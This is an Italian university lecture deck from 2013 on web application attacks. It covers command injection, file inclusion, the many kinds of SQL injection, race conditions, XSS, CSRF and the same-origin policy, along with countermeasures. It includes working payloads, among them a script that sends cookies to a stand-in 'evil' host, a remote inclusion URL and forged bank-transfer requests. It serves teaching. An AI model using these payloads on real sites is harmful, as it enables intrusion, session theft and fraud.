Università degli Studi di Milano Facoltà di Scienze e Tecnologie Anno Accademico 2013/2014 Sicurezza delle applicazioni web: attacchi Srdan Matic <[email protected]> Aristide Fattori <[email protected]> 11 Dicembre 2013 Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 1 / 57 OWASP Top Ten (2013) 1 Injection 2 Cross-Site Scripting (XSS) 3 Broken Authentication and Session Management 4 5 Insecure Direct Object Reference Cross-Site Request Forgery (CRSF) 6 Security Misconfiguration 7 Insecure Cryptographic Storage 8 Failure to Restrict URL Access 9 Insufficient Transport Layer Protocol 10 Unvalidated Redirects and Forwards 1 Injection 2 Broken Authentication and Session Management 3 Cross-Site Scripting (XSS) 4 Insecure Direct Object Reference 5 Security Misconfiguration 6 Sensitive Data Exposure (Insecure Cryptographic Storage + Insufficient Transport Layer Protocol) 7 Missing Function Level Access Control ⊃ Failure to Restrict URL Access 8 Cross-Site Request Forgery (CRSF) 9 Using Known Vulnerable Components 10 Unvalidated Redirects and Forwards Fonte: http://owasptop10.googlecode.com/files/OWASP%20Top%2010% 20-%202013.pdf Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 2 / 57 Command Injection Command injection ogni linguaggio server-side mette a disposizione apposite funzioni per eseguire comandi (e.g., system(), exec(), popen()) spesso nomi e parametri vengono passati a queste funzioni attraverso i metodi POST o GET ⇒ i dati che l’applicazione riceve in input spesso non vengono sanitizzati (o la sanitizzazione non viene effettuata con sufficiente attenzione); questo può portare a vulnerabilità Esempio: ultimo aggiornamento del file <?php $file name = $ GET[’file name’]; $last modified = system(”stat −c ’%y’ ” . $file name); ?> Altro esempio interpretazione dinamica di codice (e.g., eval($ GET[’a’])) Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 4 / 57 (L|R)FI: Local and Remote File Inclusion (Local|Remote) File Inclusion Scenario Numerose applicazioni ricorrono all’inclusione dinamica e condizionale di file; i file in questione possono essere locali o fare riferimento a risorse remote. es1 - Corretto es2 - Sbagliato FILE: DB.php FILE: it.php <?php $user = ’foo’; $pass = ’bar’; function connect(...) { ... }; ?> <?php $s = ’Ciao mondo!’; ?> FILE: index.php FILE: index.php <?php include ’DB.php’; $db = connect($user, $pass, ...); ?> <?php include $ GET[’lang’]; print $s; ?> Srdjan Matic, Aristide Fattori FILE: en.php <?php $s = ’Hello world!’; ?> web - attacchi 11 Dicembre 2013 6 / 57 File Inclusion - Exploiting I Nella slide precendete, in es2, avremo richieste del tipo: http://example.org/index.php?lang=...... Local File Inclusion http://example.com/test.php?lang=/etc/passwd root:x:0:0:root:/root:/bin/bash ... Remote File Inclusion http://evil.com/woot.txt <?php $s = ’I can do whatever I want!’; ?> http://example.com/test.php?lang=http://evil.com/woot.txt I can do whatever I want! RFI ⇒ Esecuzione arbitraria di codice Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 7 / 57 File Inclusion - Exploiting II Possiamo utilizzare FI per leggere un file PHP? CERTAMENTE! Possiamo includere uno script remoto che legge il file e stampa il suo contenuto. ... ma se abbiamo a disposizione solo Local File Inclusion? CERTAMENTE! Possiamo affidarci ad alcune funzioni PHP meno conosciute. If “URL fopen wrappers” are enabled in PHP (which they are in the default configuration), you can specify the file to be included using a URL (via HTTP or other supported wrapper - see Supported Protocols and Wrappers for a list of protocols) instead of a local pathname. http://www.php.net/manual/en/function.include.php Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 8 / 57 File Inclusion - Wrapper Wrapper file:// http:// ftp:// php:// zlib:// data:// glob:// phar:// ssh2:// rar:// ogg:// expect:// Function Accessing local filesystem Accessing HTTP(s) URLs Accessing FTP(s) URLs Accessing various I/O streams Compression Streams Data (RFC 2397) Find pathnames matching pattern PHP Archive Secure Shell 2 RAR Audio streams Process Interaction Streams http://php.net/manual/en/wrappers.php Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 9 / 57 File Inclusion - Wrapper php://filter php://filter is a kind of meta-wrapper designed to permit the application of filters to a stream at the time of opening. Ovvero prima che i dati vengano interpretati dall’interprete PHP. php://filter/read=a|b/resource=f → i filtri a e b vengono applicati in fase di lettura del file f php://filter/write=a|b/resource=f → i filtri a e b vengono applicati in fase di scrittura del file f php://filter/a|b/resource=f → i filtri a e b vengono applicati in sia in fase di lettura che di scrittura del filte f Esistono numerosi filtri: string.rot13, string.toupper, convert.base64-encode, bzip2.compress, ... http://www.php.net/manual/en/wrappers.php.php http://www.php.net/manual/en/filters.php Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 10 / 57 File Inclusion - Wrapper Come possiamo utilizzare i filtri con es2.php? http://example.org/es2.php?lang= php://filter/convert.base64-encode//resource=es2.php Warning: the suhosin patch blocca[va] RFI e l’utilizzo di wrapper potenzialmente pericolosi http://lwn.net/Articles/479716/ “...The extension provides a whole host of other kinds of protections, largely against dodgy PHP programming practices. For example it protects against either remote or local code inclusion, which is one of the worst problems that has plagued PHP applications. It can disable the eval() call, prevent infinite recursion by putting a limit on call depth, stop HTTP response splitting attacks, filter uploaded files by a variety of conditions, and on and on. While it obviously can’t prevent all badly written PHP from running amok, it’s clear that the Suhosin developers have looked at a lot of common problems and tried to address them. ...” E per quanto riguarda l’esecuzione di codice arbitrario tramite LFI? http://goo.gl/qQA3X by gynvael http://goo.gl/s9LV4 by INSOMNIA http://goo.gl/rfTFi by CWH Underground Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 11 / 57 SQL Injection SQL injection (SQLi) Scenario all’intero del web 2.0 gran parte dei contenuto viene generata dinamicamente e i contenuti posso variare a seconda dell’utente (non registrato, registrato, admin, . . . ) ⇒ database SQLi: cause nessuna validazione dell’input le query generate dall’applicazione contengono input proveniente dall’utente I siamo in presenza di SQLi quando è possibile modificare sintassi (e semantica) di una query modificando i dati che vengono passati in input all’applicazione Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 13 / 57 SQL injection - Esempio $n = $ POST[’name’]; $p = $ POST[’pass’]; $result = mysql query(” SELECT ∗ FROM users ” . ” WHERE name=’$n’ AND pass=’$p’; ”); if(mysql num rows($result) > 0 ) { ... } 1 name = ’mario’ AND pass = ’xyz’ → ... WHERE name=’mario’ AND pass=’xyz’; 2 name = ’admin’ AND pass = ’xyz’ OR ’1’=’1 → ... WHERE nome=’admin’ AND passw=’xyz’ OR ’1’=’1’; Quante righe otteniamo in output? Cosa contengono le righe di output? Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 14 / 57 SQLi: sink Input dell’utente parametri GET/POST informazioni trasmesse al server da applicazioni come: Flash, applet Java, AJAX HTTP Header tutti gli header devono essere considerati come potenzialmente pericolosi User-Agent, Referer, . . . possono venire modificati ed utilizzati a questo scopo . . . Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 15 / 57 SQLi: sink Cookie fanno ancora parte degli header i Cookie provengono dal client e devono essere trattati come potenzialmente pericolosi Il database stesso: second order injection i dati passati in input all’applicazione sono memorizzati all’interno del database in seguito, gli stessi dati in input vengono prelevati dal database e utilizzati per costruire una successiva query ⇒ possibile pericolo Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 16 / 57 SQLi: obiettivi e metodologie Obiettivo Metodologia identificare i parametri su cui è possibile fare injection database footprinting troviamo i sink individuare lo schema del DB estrazione di informazioni modifica di informazioni DoS authentication bypass remote command execution Srdjan Matic, Aristide Fattori capire quale DMBS viene utilizzato; inappropriata gestione degli errori nomi delle tabelle, nomi delle colonne, tipi delle colonne, privilegi degli utenti dump dell’intero DB utilizzo di INSERT, UPDATE e DELETE nelle query non consentire l’autenticazione di un utente legittimo (LOCK, DELETE, . . . ) bypassare i meccanismi di autenticazione dell’applicazione esecuzione di comandi non messi a disposizione in orgine del DBMS web - attacchi 11 Dicembre 2013 17 / 57 SQLi esempi: authentication bypass tramite tautologia 1 query: $q = ” SELECT id FROM utente WHERE user=’ ”.$user.” ’ AND pass=’ ”.$pass.” ’ ”; 2 parametri inviati all’applicazione: $user = ”admin”; $pass = ”’ OR ’1’=’1”; 3 conseguente query che viene generata ed eseguita: $q = ” SELECT id FROM utente WHERE user=’admin’ AND pass=’’ OR ’1’=’1’ ”; I se l’input fosse stato adeguatamente sanitizzato (e.g., mysql escape string()): $q = ” SELECT id FROM utente WHERE user=’admin’ AND pass=’ \’ OR \’\’=\’ ’ ”; Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 18 / 57 SQLi esempi: altri usi di tautologie scelta blind del primo utente disponibile $pass = ” ’ OR 1=1 # ”; $q = ” SELECT id FROM utente WHERE user=’’ AND pass=’’ OR 1=1 \#’ ”; $user = ” ’ OR user LIKE ’%’ # ”; $q = ” SELECT id FROM utente WHERE user=’’ OR user LIKE ’\%’ \#’ AND pass=’’ ”; $user = ” ’ OR 1 # ”; $q = ” SELECT id FROM utente WHERE user=’’ OR 1 \#’ AND pass=’’ ”; scelta di uno specifico utente $user = ” admin’ OR 1 # ”; $q = ” SELECT id FROM utente WHERE user=’admin’ OR 1 \#’ AND pass=’’ ”; $user = ”admin’ # ”; $q = ” SELECT id FROM utente WHERE user=’admin’ \#’ AND pass=’’ ”; Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 19 / 57 SQLi attacchi: UNION query query: $q = ”SELECT id, nome, prezzo, descrizione” . ”FROM prodotto WHERE categoria=” . $ GET[’cat’]; query in seguito alla injection: $cat = ”1 UNION SELECT 1, user, 1, pass FROM utente”; attenzione: il numero ed il tipo delle colonne restituite in output dalle due query SELECT deve essere lo stesso! MySQL: se due tipi non corrispondono... viene effettuato un cast. $cat = ”1 UNION SELECT 1, 1, user, pass FROM utente”; Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 20 / 57 SQLi attacchi: second order injection per portare a buon fine l’attacco, come primo passo registriamo un utente con caratteristiche particolari $user = ”admin’ #”; la stringa $user viene correttamente sanitizzata prima di venire inserita nel database in un secondo momento, l’attaccante utilizza la routine per cambiare la password all’utente registrato precedentemente; a questo fine l’applicazione preleva i dati memorizzati nel DB e li utilizza per generare una seconda query : $q = ” UPDATE utente SET pass=’” . $ POST[’newPass’] . ”’ WHERE user=’” . $row[’user’] . ”’ ”; se i dati provenienti dal database non vengono sanitizzati correttamente, posso verificarsi comportamenti indesiderati, come: $q = ” UPDATE utente SET pass=’password’ WHERE user=’admin’ #’ ”; Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 21 / 57 SQLi attacchi: piggy-backed query Obiettivo ottenere l’esecuzione di un numero arbitrario di query differenti query: $q = ” SELECT id FROM utente WHERE user=’” . $user . ” ’ AND pass=’” . $pass . ”’ ”; dati inviati all’applicazione: $user = ” ’; SELECT ∗ FROM utente −− ”; query che verrè eseguita: $q = ” SELECT id FROM utente WHERE user=’ ’; SELECT ∗ FROM utente −− ’ AND pass=’’ ”; entrambe le query vengono eseguite! Attenzione: vulnerabilità di questo tipo dipendono strettamente dai metodi/funzioni utilizzate per effettuare la query. Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 22 / 57 SQL Injection Advanced Techniques SQLi: information schema Cosa facciamo se abbiamo scovato una SQLi, ma non sappiamo i nomi delle tabelle o quelli delle singole colonne? Possiamo provare ad utilizzare un approccio brute-force (buona fortuna!) . . . possiamo altrimenti fare affidamento su caratteristiche di MySQL INFORMATION SCHEMA Table Name COLUMNS TABLES COLUMN PRIVILEGES TABLE PRIVILEGES SCHEMATA ... Srdjan Matic, Aristide Fattori Description Information Information Information Information Information ... web - attacchi on on on on on columns name, . . . tables name, . . . privileges privileges all databases 11 Dicembre 2013 24 / 57 SQLi: information schema INFORMATION SCHEMA.TABLES Column TABLE SCHEMA TABLE NAME TABLE ROWS ... Description DB to which the table belongs Name of the table Number of rows in the table ... INFORMATION SCHEMA.COLUMNS Column TABLE NAME COLUMN NAME COLUMN TYPE ... Srdjan Matic, Aristide Fattori Description Name of the table containing this column Name of the column Type of the columns ... web - attacchi 11 Dicembre 2013 25 / 57 SQLi: information schema esempio Query: $id = $ GET[’id’]; $q = ” SELECT username FROM utenti WHERE user id = $id ”; Passo 1: estrapoliamo il nome della tabella: $id = ”−1 UNION SELECT table name FROM INFORMATION SCHEMA.TABLES WHERE table schema != ’mysql’ AND table schema != ’information schema’ ”; Passo 2: estrapoliamo i nomi delle singole colonne $id = ”−1 UNION SELECT column name FROM INFORMATION SCHEMA.COLUMNS WHERE table name = ’utenti’ LIMIT 0,1”; Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 26 / 57 Blind SQLi $q = ’SELECT colonna FROM example WHERE id = ’ . $ GET[’id’]; $res = mysql query($q); if(!$res) { die(”error”); } else { // Le informazioni vengono memorizzate localmente sul server, // ma al client NON viene visualizzato nessun output } Come fare per sfruttare la vulnerabilità? Il codice mostrato sopra è indubbiamente vulnerabile a SQLi, ma non mostrerà mai l’output ottenuto in seguito alle injection. Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 27 / 57 Blind SQLi - exploiting MySQL mette a disposizione moltissime funzionalità che possiamo utilizzare per sfruttare una SQLi. 1 BENCHMARK BENCHMARK(loop count, expression) 2 IF IF(expression, expr true, expr false) 3 SUBSTRING SUBSTRING(str, SUBSTRING(str, SUBSTRING(str, SUBSTRING(str, Srdjan Matic, Aristide Fattori pos) FROM pos) pos, len) FROM pos, FOR len) web - attacchi 11 Dicembre 2013 28 / 57 Blind SQLi - exploiting Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 29 / 57 Blind SQLi - exploiting Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 30 / 57 Blind SQLi - exploiting Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 31 / 57 Blind SQLi - pseudo-codice Tocca a voi! Utilizzando il template in /var/www/blind/blind template.py realizzare il codice che dalla tabella example (database: test) recupera il valore valore della colonna colonna associata all’id 1. #!/usr/bin/env python import MySQLdb from time import sleep, time def connect and create cursor(): conn = MySQLdb.connect(host=”localhost”, user=”root”, passwd=”root”, db=”test”) curs = conn.cursor() return conn, curs def exec query(curs, query): curs.execute(query) if name == ” main ”: # crea connessione e cursore per il database conn, curs = connect and create cursor() query = ”””SELECT colonna FROM example””” # esegue una query curs.execute(query) # ... in alternativa −−> exec query(curs, query) Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 32 / 57 MySQL: operazioni sui file Query vulnerabile: $q = ” SELECT username FROM utenti WHERE user id = $id ”; 1 Lettura: $id = ” −1 UNION SELECT load file(’/etc/passwd’) ”; 2 Scrittura: $id = ” −1 UNION SELECT ’ciao’ into outfile ’/tmp/ciao’ ”; Note: 1 se l’utente non ha l’apposito permesso FILE all’interno del database/tabella le operazioni di lettura/scrittura file non andranno a buon fine 2 load file restituisce NULL se non termina correttamente 3 into outfile genera un MySQL ERROR se non termina correttamente Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 33 / 57 MSSQL: stored procedure MSSQL mette a disposizione oltre un migliaio di stored procedure per effettuare particolari operazioni xp cmdshell consente l’esecuzione di comandi esempi: ’; EXEC master..xp cmdshell ’dir c:’ −− ’; EXEC master..xp cmdshell ’ping google.com’ −− E in Linux... Possiamo eseguire comandi shell all’interno di MySQL? Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 34 / 57 SQLi: come difendersi è compito dei programmatori evitare che siano presenti SQLi nel codice dell’applicazione spesso i programmatori utilizzano metodo “automagic” (ad esempio, in PHP, magic quotes gpc effettua l’escape tramite la routine addslashes()) “come fare la sanitizzazione” dipende strettamente dal tipo di attacco dal quale ci vogliamo proteggere l’uso di espressioni regolari ad-hoc è fortemente sconsigliato miglio approccio: utilizzare mysql real escape string() se in input ci si aspetta un numero... controllare che il valore ricevuto è effettivamente un valore numerico . . . tenete a mente che è possibile costruire stringhe particolari anche senza ricorrere agli apici (AAA ⇔ char(65,65,65)) Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 35 / 57 Race vulnerabilities nelle applicazioni web Concorrenza all’interno delle applicazioni web Single request web browser1 web browser2 page request page request web server spawn new worker spawn new worker interpreter interpreter script script concurrent DB access query Srdjan Matic, Aristide Fattori DB web - attacchi query 11 Dicembre 2013 37 / 57 Concorrenza all’interno delle applicazioni web le applicazioni web sono solitamente composte da una serie di script, ciascuno dei quali effettua una serie predefinita di task sequenziali spesso questi script hanno bisogno di accedere a risorse condivise (es. database) istanze multiple di uno script potrebbero venire eseguite contemporaneamente Problema I programmatori web non percepiscono le loro applicazioni come entità multi-thread o multi-processo parallelismo non previsto può portare a interazioni inattese tra i vari script questo parallelismo può venire controllato client-side le primitive di sincronizzazione vengono utilizzate di rado Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 38 / 57 Concorrenza all’interno delle applicazioni web - esempio 1 2 3 4 5 6 $res = mysql_query(SELECT credit FROM Users WHERE id=$id); $row = mysql_fetch_assoc($res); if($row[’credit’] >= 800) { <execute the requested operation> $new_credit = $row[’credit’] - 800; $res = mysql_query(UPDATE Users SET credit=$new_credit . WHERE id=$id); } P1 Line 2 4 4 5 (id: (id: (id: (id: Data 123, credit: 123, credit: 123, credit: 123, credit: Srdjan Matic, Aristide Fattori P2 1000) 1000) 1000) 1000) Line ⊥ 1 2 4 Data ⊥ ⊥ (id: 123, credit: 1000) (id: 123, credit: 1000) web - attacchi Database ID Credit 50 2500 92 820 123 200 205 1200 ... ... 11 Dicembre 2013 39 / 57 DEMO http://gamebox.laser.di.unimi.it/aa1314_sec2_web0x32 Seconda parte Client side attacks Attacchi client-side I sfruttano la fiducia che un utente ha di un sito web (XSS), o viceversa (CSRF) 1 l’attaccante è in grado di modificare la pagina HTML originale, aggiungendo codice (HTML o JavaScript) 2 la vittima si collega al server vulnerabile che restituisce la pagina modificata (e.g., link in e-mail, IM, link sulla rete) 3 il browser interpreta il codice iniettato dall’attaccante Obiettivi dell’attacco sniffing di cookie associati al dominio vulnerabile manipolazione form di login esecuzione di GET/POST addizionali . . . qualunque cosa si possa fare con HTML + JavaScript! Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 42 / 57 Cross-Site Scripting (XSS) Obiettivo accesso non autorizzato ad informazioni presenti sul client attacco basato sulla mancanza di controlli sull’input alterazione della pagina web originale, con aggiunta di codice JavaScript o HTML il browser del client, “fidandosi” del server web, interpreta la pagina modificata molto (troppo. . . ) diffusi! Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 43 / 57 Reflected Cross-Site Scripting - Esempio http://gamebox.laser.di.unimi.it/aa1314_sec2_web0x32/xss_test.php 1 pagina PHP lato server: 2 link inviato alla vittima: Benvenuto <?php echo $_GET[’inject’]; ?> http://gamebox.laser.di.unimi.it/aa1314_sec2_web0x32/ xss_test.php?inject=<script>document.location=’http://evil/ log.php?’+document.cookie</script> 3 richiesta HTTP creata dal browser della vittima: GET /xss_test.php?inject=%3Cscript%3Edocument.location%3D%27ht tp%3A%2F%2Fevil%2Flog.php%3F%27%2Bdocument.cookie%3C%2Fscript%3E Host: gamebox.laser.di.unimi.it ... 4 HTML generato dal server: Benvenuto <script>document.location= ’http://evil/log.php?’+document.cookie</script> Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 44 / 57 Reflected Cross-Site Scripting 1 una pagina dinamica è vulnerabile a XSS 2 utente indotto ad accedere alla pagina vulnerabile 3 exploit contenuto nell’URL Offuscamento tecniche di encoding nascondere il link con l’exploit dalla barra di stato un link innocuo effettua un redirect (HTTP 3xx) Esempi di offuscamento: Urlencoding: http://gamebox.laser.di.unimi.it/aa1314_sec2_ web0x32/xss_test.php?inject=%3C%73%63%72%69%70%74%3E%61%6C%65%72% 74%28%27%63%69%61%6F%27%29%3B%3C%2F%73%63%72%69%70%74%3E Avoiding tag <script>: http://gamebox.laser.di.unimi.it/aa1314_ sec2_web0x32/xss_test.php?inject=<img%20onerror="javascript: %20alert(document.cookie);"%20src=asd> Dynamic evaluation: http://gamebox.laser.di.unimi.it/aa1314_sec2_web0x32/xss_test.php? inject=<script>eval(String.fromCharCode(97,108,101,114,116,40,39, Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 45 / 57 Stored Cross-Site Scripting Fase 1 l’attaccante invia al server il codice da iniettare il server memorizza in modo persistente il codice (e.g., database) Fase 2 il client si collega al server il server genera la pagina inserendo anche il codice iniettato Osservazioni tutti gli utenti che richiederanno la pagina subiranno l’attacco il codice iniettato non è visibile in un URL molto più pericoloso rispetto ai reflected! Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 46 / 57 Cross-Site Request Forgery (CSRF) Obiettivo far eseguire delle azioni alle vittime, sfruttando le loro credenziali (e.g., cookie di sessione) tramite JavaScript non è possibile accedere ai cookie di un altro dominio CSRF è possibile anche senza XSS CSRF reflected e stored samy is my hero → virus JavaScript che sfrutta CSRF Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 47 / 57 Stored CSRF (GET) Esempio 1 la vittima si collega a http://www.mia-banca.it/ e si autentica 2 la vittima apre un’altra istanza del browser (tab o finestra) e si collega ad un sito maligno 3 la pagina maligna contiene: <img src=”http://www.mia−banca.it/traferisci.php?to=1337&amount=10000”/> 4 il browser crea una richiesta HTTP con il il Cookie appropriato. . . Osservazioni tramite JavaScript è possibile creare richieste GET/POST Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 48 / 57 Stored CSRF (POST) Esempio 1 la vittima si collega a http://www.banca-vulnerabile.it e si autentica 2 la vittima richiede una pagina da un sito maligno 3 server maligno restituisce: var http = false; var body = ”to=1337&amount=10000”; http = new XMLHttpRequest(); http.onreadystatechange = handleResponse; http.open(”POST”, ”http://www.banca−vulnerabile.it/trasferisci.php”, true); http.setRequestHeader(”Content−type”, ”application/x−www−form−urlencoded”); http.setRequestHeader(”Content−length”, body.length); http.send(body); function handleResponse() { .... } 4 per banca-vulnerabile, la richiesta è indistinguibile da una lecita Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 49 / 57 Stored CSRF Esempio real-world Il likejacking su Facebook è un CSRF. Passo 1: la vittima clicca un link interessante postato da un suo amico Passo 2: la pagina richiede un click per avviare il video Vediamo i sorgenti Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 50 / 57 XSS/CSRF: Contromisure Lato client reflected XSS: se l’attacco è visibile nella URL può essere facilmente evitato passando dalla root del dominio estensioni per Firefox: NoScript non visitare altri siti quando utilizza il conto on-line, effettuare sempre il logout Lato server l’input va sempre considerato insicuro, vanno applicate le corrette funzioni di sanitizzazione (e.g., htmlspecialchars()) Per CSRF: CAPTCHA, PIN da inserire per ogni transazione importante parametri nascosti (e.g., campi hidden) passati tra le varie pagine dell’applicazione Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 51 / 57 Same Origin Policy Same Origin Policy - Scenario Il browser invia la richiesta a google.com, comprensiva di cookie Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 53 / 57 Same Origin Policy - Esempio Dal punto di vista di un attacker: possiamo vedere la pagina renderizzata all’interno dell’iframe e, quindi, navigare su google.com come l’utente che sta visitando la nostra pagina, sfruttando i suoi cookie? Proviamo! document.getElementById(1) document.getElementById(1).innerHTML document.getElementById(1).contentWindow.document.body.innerHTML http://www.w3schools.com/jsref/prop_frame_contentwindow.asp: “The contentWindow property returns the Window object generated by an iframe element (through the window object, you can access the document object and then any one of the document’s elements).” Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 54 / 57 Same Origin Policy Alcune applicazioni WEB mettono a disposizione API che permettono di interagire con esse anche a applicazioni di terze parti, tramite HTTP (e.g., usando JSON, AJAX o entrambi). Come può funzionare? Per far si che queste API funzionino, è necessario che la Same Origin Policy sia disattivata dal server che mette a disposizione le API o che sia quantomeno resa più flessibile (e.g.: permettere richieste solo a alcune pagine, solo da alcuni domini, . . . ) Come disabilitare <?php header(’Access−Control−Allow−Origin: ∗’); header(’Access−Control−Allow−Methods: GET, POST, OPTIONS’); ?> http://www.w3.org/TR/cors/ Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 55 / 57 Same Origin Policy - Esempio var http = false; var body = ””; http = new XMLHttpRequest(); http.onreadystatechange = handleResponse; http.open(”GET”, URL, true); http.send(body); joystick@arya:~$ nc security.di.unimi.it 80 GET /joystick/test CORS.php HTTP/1.1 function handleResponse() { Host: security.di.unimi.it if(http.readyState == 4) if(http.status200 == OK 200) HTTP/1.1 alert(http.responseText); Date: Wed, 10 Dec 2013 12:23:21 } GMT Server: Apache/1.3.34 ... Local request: X-Powered-By: PHP/4.4.4-8+etch4 http: Access-Control-Allow-Origin: * //gamebox.laser.di.unimi.it/aa1314_sec2_web0x32/test_local.html GET, POST, OPTIONS 2Access-Control-Allow-Methods: Remote request: http: Transfer-Encoding: chunked //gamebox.laser.di.unimi.it/aa1314_sec2_web0x32/test_remote.html Content-Type: text/html; charset=iso-8859-1 3 Allowed remote request: ... http://gamebox.laser.di.unimi.it/aa1314_sec2_web0x32/test_remote_ 1 allowed.html Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 56 / 57 Same Origin Policy Security Il server potrebbe dare la possibilità di accedere a informazioni “riservate” Il browser dell’utente potrebbe non implementare correttamente SOP e permettere richieste cross-domain non previste L’enforcement di SOP in altri linguaggi client-side (e.g., Flash, Java, . . . ) è effettuato dagli interpreti non dal browser ⇒ aumenta la possibilità di BUG Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 57 / 57